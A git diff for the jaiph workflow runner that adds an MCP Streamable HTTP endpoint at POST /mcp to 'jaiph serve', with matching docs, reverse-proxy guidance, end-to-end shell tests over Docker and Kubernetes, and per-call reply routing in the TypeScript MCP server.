to prune. See [Serve workflows over HTTP](serve.md#9-bound-memory-over-a-long-lived-server). - Execution and hot reload are identical to `jaiph mcp`; a superseded generation's scripts dir survives until its in-flight HTTP runs finish. ## Environment variables diff --git a/docs/deploy.md b/docs/deploy.md index 07c8105f..7c3b97fc 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -72,7 +72,7 @@ kubectl apply -f docs/deploy/k8s.yaml The Deployment references the Secret as a **required** `envFrom` — a missing Secret holds the pod in `CreateContainerConfigError` rather than ever starting an unauthenticated runner. `kubectl apply --dry-run=client -f docs/deploy/k8s.yaml` remains a fast schema check, but the real deployment contract is exercised end-to-end on a [kind](https://kind.sigs.k8s.io/) cluster by `e2e/tests/150_k8s_deploy.sh` (run in CI): it applies the manifest, verifies the Secret gate and the hardening below, invokes the health workflow over HTTP with bearer auth, and reads the run's journal back from the runs volume. -The manifest runs `jaiph serve --host 0.0.0.0` as a long-lived HTTP runner (see [Serve workflows over HTTP](serve.md)) with `JAIPH_SERVE_TOKEN` sourced from the Secret, and liveness/readiness probes on `GET /healthz` (which stays open — no bearer token required). Highlights, all reflected in the file: +The manifest runs `jaiph serve --host 0.0.0.0` as a long-lived HTTP runner (see [Serve workflows over HTTP](serve.md)) with `JAIPH_SERVE_TOKEN` sourced from the Secret, and liveness/readiness probes on `GET /healthz` (which stays open — no bearer token required). The same Service port serves **both** the REST/OpenAPI API and **MCP Streamable HTTP** at `POST /mcp`, so a network MCP client reaches the pod's workflows through the same ingress and bearer token — no extra port or process. Highlights, all reflected in the file: - **Pod hardening by default.** `runAsNonRoot` with the image's fixed `jaiph` UID/GID (`10001`), `allowPrivilegeEscalation: false`, all capabilities dropped, the `RuntimeDefault` seccomp profile, `readOnlyRootFilesystem: true`, and `automountServiceAccountToken: false` (workflows never talk to the Kubernetes API, so they get no API credential to leak). - **Writable mounts only where required.** Workflow sources stay read-only (a ConfigMap at `/work`); run artifacts go to a dedicated `emptyDir` at `/jaiph/runs` via `JAIPH_RUNS_DIR` (swap it for a PVC if runs must survive pod replacement). Two more `emptyDir`s cover what Jaiph and the agent CLIs genuinely write: `/tmp` (extracted scripts, scratch) and a fresh `$HOME` at `/jaiph/home` (claude/cursor state; the baked `PATH` still finds `cursor-agent` under the image's read-only `/home/jaiph/.local/bin`). diff --git a/docs/mcp.md b/docs/mcp.md index 7d29816b..05857005 100644 --- a/docs/mcp.md +++ b/docs/mcp.md @@ -23,6 +23,8 @@ jaiph mcp ./tools.jh The server speaks newline-delimited [JSON-RPC 2.0](https://www.jsonrpc.org/specification) over stdio (the MCP stdio transport) and runs until stdin closes or it receives `SIGINT` / `SIGTERM`. `jaiph --mcp ./tools.jh` is an equivalent alias. +> **Need MCP over the network?** [`jaiph serve`](serve.md) exposes the *same* tools over **MCP Streamable HTTP** at `POST /mcp` (alongside its REST API), sharing one run registry, concurrency cap, sandbox posture, hot reload, and bearer auth. Use `jaiph mcp` for a co-located stdio client; use `jaiph serve` when an MCP client must reach the workflows over HTTP. Everything below (exposure rules, descriptions, input schema, result shape, progress, cancel) applies identically to both transports. + Add `--workspace ` to set the import-resolution root explicitly (default: auto-detected from the file's directory, exactly as in `jaiph run`). Add `--env KEY=VALUE` (or `--env KEY` to forward the host's current value) to define a variable in every tool call's environment. The flag is repeatable and the pairs are resolved **once at startup**, then applied to every call for the server's lifetime — a bare `--env KEY` whose value is missing on the host fails fast (`E_ENV_MISSING`) before the server starts. In a Docker sandbox `--env` is the per-key consent that crosses a host variable into the container verbatim, bypassing the credential allowlist; use it for any config or secret a workflow needs that the backend allowlist does not already forward (see [Safety posture](#safety-posture)). diff --git a/docs/serve.md b/docs/serve.md index 7644c5f7..fb13f5fb 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -98,7 +98,29 @@ curl -s http://host:8080/v1/workflows -H 'authorization: Bearer secret' | jq Binding a non-loopback `--host` **without** `JAIPH_SERVE_TOKEN` is a startup error — the server refuses to expose unauthenticated arbitrary shell. Cap simultaneous runs with `JAIPH_SERVE_MAX_CONCURRENT` (default `4`); requests beyond the cap get `429`. See [Environment variables](env-vars.md) for both. -## 8. Bound memory over a long-lived server +## 8. Connect an MCP client over HTTP + +The same process also speaks **MCP [Streamable HTTP](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#streamable-http)** at `POST /mcp` — the network sibling of [`jaiph mcp`](mcp.md) stdio. It exposes the **same tools** (identical [exposure rules](mcp.md#3-choose-which-workflows-are-exposed) and comment-derived descriptions), runs them through the **same run registry, concurrency cap, sandbox posture, and hot reload** as the REST API, and — when a token is set — sits behind the **same bearer auth** as `/v1/*`. A single deployment serves REST clients, browsers, and MCP agents at once; there is no second process. + +```bash +# initialize → tools/list → tools/call, all as POST /mcp (one JSON-RPC message each). +curl -s -X POST http://127.0.0.1:5247/mcp -H 'content-type: application/json' \ + -H 'authorization: Bearer secret' \ + -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18"}}' + +curl -s -X POST http://127.0.0.1:5247/mcp -H 'content-type: application/json' \ + -H 'authorization: Bearer secret' \ + -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"greet","arguments":{"name":"world"}}}' +``` + +- **One JSON-RPC message per POST.** A **request** (`initialize`, `tools/list`, `tools/call`) returns its reply as a single `application/json` object. A **notification** (`notifications/initialized`, `notifications/cancelled`) returns `202 Accepted` with no body. `GET`/`DELETE /mcp` return `405` — this endpoint offers no server-initiated stream. +- **Progress streaming.** Send `Accept: text/event-stream` on a `tools/call` and include a `params._meta.progressToken` to receive the run's step boundaries as `notifications/progress` SSE frames, followed by the result frame — the same progress model as [`jaiph mcp`](mcp.md#7-stream-progress-and-cancel-a-long-call). Without that `Accept` header the call returns a single JSON result (progress is dropped). +- **Same run inspection.** Every `tools/call` is a first-class run: it appears in `GET /v1/runs`, streams at `GET /v1/runs/{id}/events`, and is cancellable with `POST /v1/runs/{id}/cancel` — the identical registry the REST endpoint populates. A client that hangs up a streaming call cancels the run (child process tree + Docker container torn down), the same as an MCP `notifications/cancelled`. +- **Auth.** With `JAIPH_SERVE_TOKEN` set, `POST /mcp` requires `Authorization: Bearer ` exactly like `/v1/*`; unauthenticated calls get `401`. + +Point any Streamable-HTTP MCP client at `http(s):///mcp`. Use `jaiph mcp` for a co-located stdio client; use `jaiph serve` when the workflows must be reachable over the network by MCP and REST clients alike. + +## 9. Bound memory over a long-lived server The concurrency cap limits *active* children, not process memory. A long-lived server accumulates run state, so three bounds keep it from growing without limit — all overridable via [environment variables](env-vars.md): @@ -110,6 +132,15 @@ The concurrency cap limits *active* children, not process memory. A long-lived s Execution honors the same execution-policy contract as [`jaiph run`](cli.md#jaiph-run) and [Run in a Docker sandbox](/how-to/sandbox-run): a Docker sandbox with an isolated workspace by default. `--inplace` (`JAIPH_INPLACE=1`) keeps the sandbox but binds the real workspace read-write so run effects land live; `--unsafe` (`JAIPH_UNSAFE=true`) runs on the host with no sandbox at all. The two are mutually exclusive (`E_FLAG_CONFLICT` at startup), the posture is resolved and printed once at startup and applied to every run, and launching the server with the flag or env var is the consent (no interactive prompt) — see [Environment variables — Precedence](env-vars.md#precedence). Publish files a run produces with [artifacts](/how-to/artifacts). Editing a served source hot-reloads the workflow set (and the OpenAPI document) with no restart; runs already in flight keep running. +## Reverse-proxy and ingress requirements + +`jaiph serve` speaks **plain HTTP** and holds long-lived streaming connections (SSE at `GET /v1/runs/{id}/events`, and MCP progress at `POST /mcp` with `Accept: text/event-stream`). Front it with a reverse proxy / ingress that is configured for streaming and TLS, not just request/response: + +- **Disable response buffering on the streaming routes.** A proxy that buffers the whole response defeats live streaming — clients see nothing until the run ends. nginx: `proxy_buffering off;` (or the `X-Accel-Buffering: no` header) on `/v1/runs/*/events` and `/mcp`. Envoy/Ingress: disable response buffering for those paths. The server already sends `Cache-Control: no-cache` and a `:ka` keep-alive comment every 15 s on SSE to keep intermediaries from idling the connection out. +- **Raise read/idle timeouts to cover the longest run.** A `tools/call` or `?wait=true` REST run blocks the connection until the workflow finishes, and an SSE follow stays open for the whole run. Set the proxy's upstream read timeout (nginx `proxy_read_timeout`, cloud LB idle timeout) above your slowest workflow, or those clients get cut off mid-run. `HTTP/1.1` (not buffered `HTTP/2` translation that coalesces) on the streaming hops. +- **Terminate TLS at the proxy.** The process serves cleartext; put HTTPS at the ingress/gateway (cert-manager, a cloud LB, or a mesh) in front of it and keep the app port private (loopback or a `ClusterIP` Service — see [Deploy](deploy.md)). Never expose the token-guarded API to the internet without TLS: the bearer token would travel in the clear. +- **Preserve and require authentication end to end.** Forward the `Authorization` header unchanged (do not strip it), and terminate untrusted traffic at the proxy only if the proxy itself authenticates. `jaiph`'s own bearer check guards `/v1/*` and `/mcp`; `/healthz`, `/openapi.json`, and `/docs` stay open for probes and discovery. If the proxy adds its own auth, keep `JAIPH_SERVE_TOKEN` set anyway so a proxy misconfiguration can never expose unauthenticated shell. + ## Verification ```bash @@ -131,6 +162,6 @@ Both `jq -e` checks exit `0` when the contract holds. The run's durable record i ## Related - [CLI — `jaiph serve`](cli.md#jaiph-serve) — flag and endpoint reference. -- [Serve workflows as MCP tools](mcp.md) — the stdio sibling with the same exposure rules. +- [Serve workflows as MCP tools](mcp.md) — the stdio sibling with the same exposure rules; `POST /mcp` here is its network transport. - [Run in a Docker sandbox](/how-to/sandbox-run) — the execution sandbox HTTP runs use. - [Environment variables](env-vars.md) — `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_MAX_CONCURRENT`, the `JAIPH_SERVE_MAX_OUTPUT_BYTES` / `JAIPH_SERVE_RETAIN_RUNS` / `JAIPH_SERVE_RETAIN_AGE_SEC` memory bounds, and the sandbox controls. diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 74ad426f..094c50c8 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -107,6 +107,7 @@ TEST_SCRIPTS=( "e2e/tests/149_mcp_generation_lifecycle.sh" "e2e/tests/146_trusted_envs.sh" "e2e/tests/148_standalone_image.sh" + "e2e/tests/151_serve_transports_docker.sh" "e2e/tests/150_k8s_deploy.sh" "e2e/tests/210_standalone_binary.sh" ) diff --git a/e2e/tests/147_serve_http_api.sh b/e2e/tests/147_serve_http_api.sh index 3a82944e..110bee13 100755 --- a/e2e/tests/147_serve_http_api.sh +++ b/e2e/tests/147_serve_http_api.sh @@ -175,3 +175,54 @@ e2e::assert_equals "$(cat "${art_file}")" "artifact-payload" "artifact downloads trav_code="$(curl -s -o /dev/null -w '%{http_code}' \ "${base}/v1/runs/${art_id}/artifacts/%2e%2e%2frun_summary.jsonl")" e2e::assert_equals "${trav_code}" "404" "artifact path traversal is rejected with 404" + +# --- MCP Streamable HTTP (POST /mcp) on the SAME process --- +# The same server also speaks MCP over HTTP: a client can initialize, list the +# same tools, and call one — and that call lands in the SAME run registry as the +# REST API above. This proves one process serves both transports against one +# workflow generation (design acceptance: same tools + same run inspection API). +mcp_call() { + curl -s -X POST "${base}/mcp" -H 'content-type: application/json' \ + -H 'accept: application/json' -d "$1" +} + +init_ver="$(mcp_call '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18"}}' \ + | python3 -c 'import json,sys; print(json.load(sys.stdin)["result"]["protocolVersion"])')" +e2e::assert_equals "${init_ver}" "2025-06-18" "POST /mcp initialize negotiates the protocol version" + +mcp_tools="$(mcp_call '{"jsonrpc":"2.0","id":2,"method":"tools/list"}' | python3 -c ' +import json, sys +print(",".join(sorted(t["name"] for t in json.load(sys.stdin)["result"]["tools"]))) +')" +e2e::assert_equals "${mcp_tools}" "boom,greet,make_artifact" "POST /mcp tools/list matches the REST workflow set" + +mcp_result="$(mcp_call '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"greet","arguments":{"name":"mcp"}}}' | python3 -c ' +import json, sys +d = json.load(sys.stdin)["result"] +print(d["content"][0]["text"]) +print("true" if d.get("isError") else "false") +')" +{ + read -r p_mcp_text + read -r p_mcp_iserror +} <<< "${mcp_result}" +e2e::assert_equals "${p_mcp_text}" "hello mcp" "POST /mcp tools/call returns the workflow return value" +e2e::assert_equals "${p_mcp_iserror}" "false" "POST /mcp tools/call reports isError:false on success" + +# The MCP call is a first-class run: it is the newest entry in the shared REST +# registry, succeeded, and carries the same result_text the MCP client saw. +newest="$(curl -s "${base}/v1/runs?limit=1" | python3 -c ' +import json, sys +r = json.load(sys.stdin)["runs"][0] +print(r["workflow"]) +print(r["status"]) +print(r["result_text"]) +')" +{ + read -r p_newest_wf + read -r p_newest_status + read -r p_newest_text +} <<< "${newest}" +e2e::assert_equals "${p_newest_wf}" "greet" "the MCP call appears in the shared /v1/runs registry" +e2e::assert_equals "${p_newest_status}" "succeeded" "the MCP-initiated run status is succeeded" +e2e::assert_equals "${p_newest_text}" "hello mcp" "the MCP-initiated run's result_text matches the tool result" diff --git a/e2e/tests/150_k8s_deploy.sh b/e2e/tests/150_k8s_deploy.sh index a030a99e..8fc8d619 100755 --- a/e2e/tests/150_k8s_deploy.sh +++ b/e2e/tests/150_k8s_deploy.sh @@ -209,3 +209,34 @@ journal="$(kc exec "${pod}" -- cat "${p_run_dir}/run_summary.jsonl")" events="$(curl -s "${base}/v1/runs/${p_run_id}/events" -H "authorization: Bearer ${serve_token}")" e2e::assert_equals "${events}" "${journal}" \ "GET events (NDJSON) byte-matches run_summary.jsonl read from the runs volume" + +e2e::section "the same pod serves MCP Streamable HTTP from outside, behind the same bearer auth" + +# Both transports are one process against one generation. The MCP surface obeys +# the same bearer boundary as /v1, and a tools/call over HTTP runs the same +# workflow and lands in the same run registry as the REST call above. +mcp_unauth_code="$(curl -s -o /dev/null -w '%{http_code}' -X POST "${base}/mcp" \ + -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}')" +e2e::assert_equals "${mcp_unauth_code}" "401" "POST /mcp without the bearer token is rejected with 401" + +mcp_ver="$(curl -s -X POST "${base}/mcp" \ + -H "authorization: Bearer ${serve_token}" -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18"}}' \ + | python3 -c 'import json,sys; print(json.load(sys.stdin)["result"]["protocolVersion"])')" +e2e::assert_equals "${mcp_ver}" "2025-06-18" "authenticated POST /mcp initialize negotiates the protocol version" + +mcp_result="$(curl -s -X POST "${base}/mcp" \ + -H "authorization: Bearer ${serve_token}" -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"health","arguments":{}}}' | python3 -c ' +import json, sys +d = json.load(sys.stdin)["result"] +print(d["content"][0]["text"]) +print("true" if d.get("isError") else "false") +')" +{ + read -r p_mcp_text + read -r p_mcp_iserror +} <<< "${mcp_result}" +e2e::assert_equals "${p_mcp_text}" "ok" "authenticated POST /mcp tools/call returns the workflow return value" +e2e::assert_equals "${p_mcp_iserror}" "false" "POST /mcp tools/call reports isError:false on success" diff --git a/e2e/tests/151_serve_transports_docker.sh b/e2e/tests/151_serve_transports_docker.sh new file mode 100755 index 00000000..a6712186 --- /dev/null +++ b/e2e/tests/151_serve_transports_docker.sh @@ -0,0 +1,124 @@ +#!/usr/bin/env bash +# +# serve 1/1 (Docker) — one container serves REST + MCP from outside the container +# ============================================================================== +# The standalone runtime image runs `jaiph serve --host 0.0.0.0` as a long-lived +# HTTP runner; a client on the host (outside the container) drives BOTH transports +# through the published port: +# +# - GET /healthz → unauthenticated liveness +# - POST /v1/workflows/health/runs?wait → REST run, bearer-guarded +# - POST /mcp tools/call health → MCP Streamable HTTP, same bearer +# - unauthenticated /v1 and /mcp → 401 (both surfaces fail closed) +# +# This is the Docker analogue of the Kind test (150): both transports, one +# process, one workflow generation, one auth boundary — exercised from outside +# the container. Non-loopback (0.0.0.0) binds require JAIPH_SERVE_TOKEN, so the +# container is started with one. +# +# Gated: skips unless Docker is available and the local runtime image builds. + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" + +SERVE_CONTAINER="jaiph-e2e-serve-$$" +serve151::cleanup() { + docker rm -f "${SERVE_CONTAINER}" >/dev/null 2>&1 || true + e2e::cleanup +} +trap serve151::cleanup EXIT + +e2e::prepare_test_env "serve_transports_docker" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +if ! command -v python3 >/dev/null 2>&1 || ! command -v curl >/dev/null 2>&1; then + e2e::section "serve transports over Docker (skipped — python3/curl unavailable)" + e2e::skip "python3 and curl are required" + exit 0 +fi +if ! command -v docker >/dev/null 2>&1 || ! docker info >/dev/null 2>&1; then + e2e::section "serve transports over Docker (skipped — Docker unavailable)" + e2e::skip "Docker is not available, skipping serve-over-Docker test" + exit 0 +fi +if ! e2e::ensure_docker_test_image; then + e2e::section "serve transports over Docker (skipped — test image build failed)" + e2e::skip "Could not build local Docker test image" + exit 0 +fi + +# A single exported workflow: the whole file becomes exactly one tool (`health`), +# reachable identically over REST and MCP. +e2e::file "tools.jh" <<'EOF' +# health — proves the served runner is live. +export workflow health() { + return "ok" +} +EOF + +e2e::section "one container serves REST + MCP over the same bearer-guarded port" + +serve_token="e2e-$(python3 -c 'import secrets; print(secrets.token_hex(24))')" + +# Bind 0.0.0.0 inside the container (non-loopback → JAIPH_SERVE_TOKEN required) +# and publish it to a host-chosen loopback port. --user matches the host UID so +# run artifacts on the /work bind mount are writable. The image bakes +# JAIPH_UNSAFE=true, so the runner executes host-mode inside the container (the +# container is the sandbox) — no nested Docker daemon is needed. +docker run -d --name "${SERVE_CONTAINER}" \ + --user "$(id -u):$(id -g)" \ + -e JAIPH_SERVE_TOKEN="${serve_token}" \ + -p 127.0.0.1::5247 \ + -v "${TEST_DIR}":/work -w /work \ + "${E2E_DOCKER_TEST_IMAGE}" \ + jaiph serve --host 0.0.0.0 --port 5247 /work/tools.jh >/dev/null + +hostport="$(docker port "${SERVE_CONTAINER}" 5247/tcp | head -1 | sed -nE 's#.*:([0-9]+)$#\1#p')" +if [[ -z "${hostport}" ]]; then + printf 'docker logs:\n%s\n' "$(docker logs "${SERVE_CONTAINER}" 2>&1)" >&2 + e2e::fail "could not resolve the published host port for the serve container" +fi +base="http://127.0.0.1:${hostport}" + +# Wait for the server to answer /healthz. +ready="" +for _ in $(seq 1 60); do + if [[ "$(curl -s -o /dev/null -w '%{http_code}' "${base}/healthz")" == "200" ]]; then + ready="yes" + break + fi + sleep 0.5 +done +if [[ -z "${ready}" ]]; then + printf 'docker logs:\n%s\n' "$(docker logs "${SERVE_CONTAINER}" 2>&1)" >&2 + e2e::fail "serve container did not become healthy" +fi + +health_status="$(curl -s "${base}/healthz" | python3 -c 'import json,sys; print(json.load(sys.stdin)["status"])')" +e2e::assert_equals "${health_status}" "ok" "GET /healthz reports status ok (unauthenticated)" + +# Both surfaces fail closed without the token. +rest_unauth="$(curl -s -o /dev/null -w '%{http_code}' -X POST \ + "${base}/v1/workflows/health/runs?wait=true" -H 'content-type: application/json' -d '{}')" +e2e::assert_equals "${rest_unauth}" "401" "POST /v1 without the bearer token is 401" +mcp_unauth="$(curl -s -o /dev/null -w '%{http_code}' -X POST "${base}/mcp" \ + -H 'content-type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}')" +e2e::assert_equals "${mcp_unauth}" "401" "POST /mcp without the bearer token is 401" + +# REST run over HTTP, from outside the container. +rest_status="$(curl -s -X POST "${base}/v1/workflows/health/runs?wait=true" \ + -H "authorization: Bearer ${serve_token}" -H 'content-type: application/json' -d '{}' \ + | python3 -c 'import json,sys; d=json.load(sys.stdin); print(d["status"], d["result_text"])')" +e2e::assert_equals "${rest_status}" "succeeded ok" "REST run over Docker succeeds and returns the workflow value" + +# MCP tools/call over the same port, same token, same workflow. +mcp_result="$(curl -s -X POST "${base}/mcp" \ + -H "authorization: Bearer ${serve_token}" -H 'content-type: application/json' \ + -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"health","arguments":{}}}' | python3 -c ' +import json, sys +d = json.load(sys.stdin)["result"] +print(d["content"][0]["text"], "err" if d.get("isError") else "ok") +')" +e2e::assert_equals "${mcp_result}" "ok ok" "MCP tools/call over Docker returns the workflow value (isError:false)" diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index 3514ee61..e50b2edc 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -57,9 +57,11 @@ const SERVE_USAGE = "Endpoints: GET /docs (Swagger UI), GET /openapi.json, GET /healthz, GET /v1/workflows,\n" + "POST /v1/workflows/{name}/runs (async 202 or ?wait=true for 200), GET /v1/runs,\n" + "GET /v1/runs/{id}, GET /v1/runs/{id}/events (NDJSON, or SSE with Accept: text/event-stream),\n" + - "GET /v1/runs/{id}/artifacts, GET /v1/runs/{id}/artifacts/{path}, POST /v1/runs/{id}/cancel.\n\n" + + "GET /v1/runs/{id}/artifacts, GET /v1/runs/{id}/artifacts/{path}, POST /v1/runs/{id}/cancel.\n" + + "MCP clients: POST /mcp speaks MCP Streamable HTTP over the same workflows, run\n" + + "registry, concurrency cap, and auth — the network sibling of `jaiph mcp` stdio.\n\n" + "Auth: set JAIPH_SERVE_TOKEN to require `Authorization: Bearer ` on every\n" + - "/v1/* request (/healthz, /openapi.json, /docs stay open). Binding a non-loopback\n" + + "/v1/* and /mcp request (/healthz, /openapi.json, /docs stay open). Binding a non-loopback\n" + "host without the token set is a startup error. Cap concurrent runs with\n" + "JAIPH_SERVE_MAX_CONCURRENT (default 4). Bound memory with JAIPH_SERVE_MAX_OUTPUT_BYTES\n" + "(per-run stdout/stderr/log/result cap, default 1 MiB), JAIPH_SERVE_RETAIN_RUNS\n" + @@ -224,6 +226,7 @@ export async function runServe(rest: string[]): Promise { retainRuns, retainAgeSec, maxArtifactBytes, + log, now: () => new Date().toISOString(), // A run's dir is only recorded on its object at finalize; while it runs the // events/artifacts endpoints locate it by scanning the host runs root for @@ -293,7 +296,10 @@ export async function runServe(rest: string[]): Promise { } const base = `http://${host}:${boundPort}`; - log(`jaiph serve: listening on ${base} — API docs at ${base}/docs (${generations.current().tools.length} workflow(s))`); + log( + `jaiph serve: listening on ${base} — API docs at ${base}/docs, MCP at ${base}/mcp ` + + `(${generations.current().tools.length} workflow(s))`, + ); log( `jaiph serve: memory bounds — retain ${retainRuns} completed run(s)` + `${retainAgeSec > 0 ? ` up to ${retainAgeSec}s old` : ""}, ${maxOutputBytes} output bytes/run; ` + diff --git a/src/cli/mcp/server.test.ts b/src/cli/mcp/server.test.ts index 417e3b85..8c97d724 100644 --- a/src/cli/mcp/server.test.ts +++ b/src/cli/mcp/server.test.ts @@ -390,3 +390,61 @@ test("notifyToolsChanged: emits the list_changed notification once initialized", server.notifyToolsChanged(); assert.deepEqual(written[1], { jsonrpc: "2.0", method: "notifications/tools/list_changed" }); }); + +// === per-line write routing (HTTP transport) === +// +// `jaiph serve` reuses one McpServer across concurrent HTTP POSTs, routing each +// message's replies to that request's own response via handleLine(line, write). +// These pin that the per-call sink — not the constructor write — receives the +// reply, and that two overlapping calls never cross-talk. + +test("handleLine(line, write): routes the reply to the per-call sink, not the transport default", async () => { + const { server, written } = makeServer(); + const sink: Array> = []; + await server.handleLine(JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/list" }), (m) => sink.push(m)); + assert.equal(written.length, 0, "constructor write is untouched"); + assert.equal((sink[0] as { id: number }).id, 1); + assert.ok((sink[0] as { result: unknown }).result); +}); + +test("handleLine(line, write): concurrent calls keep their progress + reply on their own sink", async () => { + // Two tools/call requests interleave; each gets a distinct progressToken and a + // distinct sink. The AsyncLocalStorage routing must keep every notification and + // response on the sink of the call that produced it. + const gates: Record void> = {}; + const { server } = makeServer({ + callTool: (spec, args, ctx) => + new Promise((resolve) => { + ctx.onStep?.("workflow", spec.workflow); + gates[args.target] = () => { + ctx.onStep?.("script", spec.workflow); + resolve({ text: `done ${args.target}`, isError: false }); + }; + }), + }); + const sinkA: Array> = []; + const sinkB: Array> = []; + const call = (id: number, target: string, token: string, sink: Array>): Promise => + server.handleLine( + JSON.stringify({ jsonrpc: "2.0", id, method: "tools/call", params: { name: "build", arguments: { target }, _meta: { progressToken: token } } }), + (m) => sink.push(m), + ); + const pA = call(1, "a", "tok-a", sinkA); + const pB = call(2, "b", "tok-b", sinkB); + // Let both calls register their onStep before resolving; then finish A then B. + await new Promise((r) => setImmediate(r)); + gates["a"](); + gates["b"](); + await Promise.all([pA, pB]); + + const tokens = (sink: Array>): Set => + new Set( + sink + .filter((m) => m.method === "notifications/progress") + .map((m) => (m.params as { progressToken: unknown }).progressToken), + ); + assert.deepEqual([...tokens(sinkA)], ["tok-a"], "sink A only carries token a's progress"); + assert.deepEqual([...tokens(sinkB)], ["tok-b"], "sink B only carries token b's progress"); + assert.equal((sinkA.find((m) => m.id === 1)!.result as { content: [{ text: string }] }).content[0].text, "done a"); + assert.equal((sinkB.find((m) => m.id === 2)!.result as { content: [{ text: string }] }).content[0].text, "done b"); +}); diff --git a/src/cli/mcp/server.ts b/src/cli/mcp/server.ts index 88cf6d80..752d48a1 100644 --- a/src/cli/mcp/server.ts +++ b/src/cli/mcp/server.ts @@ -1,13 +1,22 @@ +import { AsyncLocalStorage } from "node:async_hooks"; import type { McpToolSpec } from "./tools"; /** - * Minimal MCP server over newline-delimited JSON-RPC 2.0 (stdio transport). + * Minimal MCP server over newline-delimited JSON-RPC 2.0. * * The transport and the workflow execution are injected so the protocol layer * stays a pure line-in / message-out state machine (unit-testable without * spawning processes). Handles: `initialize`, `ping`, `tools/list`, * `tools/call`; emits `notifications/tools/list_changed` on hot reload. * All diagnostics go through `log` (stderr) — stdout carries protocol JSON only. + * + * One instance drives two transports without duplicating protocol logic: the + * `jaiph mcp` stdio loop (every outbound message goes to the constructor's + * `write`) and `jaiph serve`'s MCP Streamable HTTP endpoint (`handleLine(line, + * write)` routes that one message's outbound traffic — its response plus any + * `notifications/progress` — to the request's own HTTP response). Per-call + * routing is carried through the async call by an `AsyncLocalStorage` so + * concurrent HTTP POSTs never cross-talk. */ /** MCP protocol revisions this server knows; the newest is the fallback. */ @@ -76,16 +85,32 @@ function readProgressToken(params: Record): JsonRpcId | undefin return isJsonRpcId(token) ? token : undefined; } +/** Outbound protocol message writer (one JSON message). */ +type WriteFn = (message: Record) => void; + export class McpServer { private readonly opts: McpServerOptions; private initialized = false; /** In-flight `tools/call` requests keyed by request id (for cancellation). */ private readonly inFlight = new Map(); + /** + * Per-`handleLine` outbound writer, set when the transport routes one + * message's replies to a dedicated sink (the HTTP endpoint). Propagates + * across the `tools/call` await so its `notifications/progress` and final + * response land on the same sink; absent (stdio) the constructor `write` is + * used. + */ + private readonly writeStore = new AsyncLocalStorage(); constructor(opts: McpServerOptions) { this.opts = opts; } + /** Route one outbound message to the active per-call sink, else the transport default. */ + private write(message: Record): void { + (this.writeStore.getStore() ?? this.opts.write)(message); + } + /** * Kill every in-flight call's run (second-signal shutdown: child + container * teardown through each call's cancel handle). Unlike a client @@ -103,8 +128,18 @@ export class McpServer { this.opts.write({ jsonrpc: "2.0", method: "notifications/tools/list_changed" }); } - /** Handle one inbound line. Async because `tools/call` runs a workflow. */ - async handleLine(line: string): Promise { + /** + * Handle one inbound line. Async because `tools/call` runs a workflow. When + * `write` is supplied (the HTTP transport), every message this line produces — + * response and progress notifications — is routed to it instead of the + * transport default, for the whole async lifetime of the call. + */ + handleLine(line: string, write?: WriteFn): Promise { + if (write) return this.writeStore.run(write, () => this.dispatch(line)); + return this.dispatch(line); + } + + private async dispatch(line: string): Promise { const trimmed = line.trim(); if (trimmed.length === 0) return; @@ -258,7 +293,7 @@ export class McpServer { // Suppress once the call is cancelled or its response was sent. if (entry.cancelled || !this.inFlight.has(id)) return; progress += 1; - this.opts.write({ + this.write({ jsonrpc: "2.0", method: "notifications/progress", params: { progressToken, progress, message: `${kind} ${name}`.trim() }, @@ -283,10 +318,10 @@ export class McpServer { } private writeResult(id: JsonRpcId, result: Record): void { - this.opts.write({ jsonrpc: "2.0", id, result }); + this.write({ jsonrpc: "2.0", id, result }); } private writeError(id: JsonRpcId | null, code: number, message: string): void { - this.opts.write({ jsonrpc: "2.0", id, error: { code, message } }); + this.write({ jsonrpc: "2.0", id, error: { code, message } }); } } diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts index 18d5fd49..91a2941f 100644 --- a/src/cli/serve/handler.test.ts +++ b/src/cli/serve/handler.test.ts @@ -601,3 +601,244 @@ test("artifacts list is empty for a run with no published files", async () => { rmSync(runDir, { recursive: true, force: true }); } }); + +// === MCP Streamable HTTP (POST /mcp) === +// +// The embedded MCP engine reuses the exact stdio protocol machine; these tests +// pin that a POST /mcp `tools/call` funnels into the SAME run registry, +// concurrency cap, and auth boundary as the REST surface — the acceptance +// contract for one process serving both transports against one generation. + +const mcpPost = (body: unknown, headers?: Record): ServeRequest => + req("POST", "/mcp", { headers: { "content-type": "application/json", ...headers }, body: JSON.stringify(body) }); + +test("POST /mcp initialize returns a JSON-RPC result over application/json", async () => { + const res = await makeHandler().handleRequest( + mcpPost({ jsonrpc: "2.0", id: 1, method: "initialize", params: { protocolVersion: "2025-06-18" } }), + ); + assert.equal(res.status, 200); + assert.match(res.headers["content-type"], /application\/json/); + const body = bodyJson(res); + assert.equal(body.id, 1); + assert.equal(body.result.protocolVersion, "2025-06-18"); + assert.equal(body.result.serverInfo.name, "jaiph"); +}); + +test("POST /mcp tools/list returns the same tools as the REST surface", async () => { + const res = await makeHandler().handleRequest(mcpPost({ jsonrpc: "2.0", id: 2, method: "tools/list" })); + const body = bodyJson(res); + 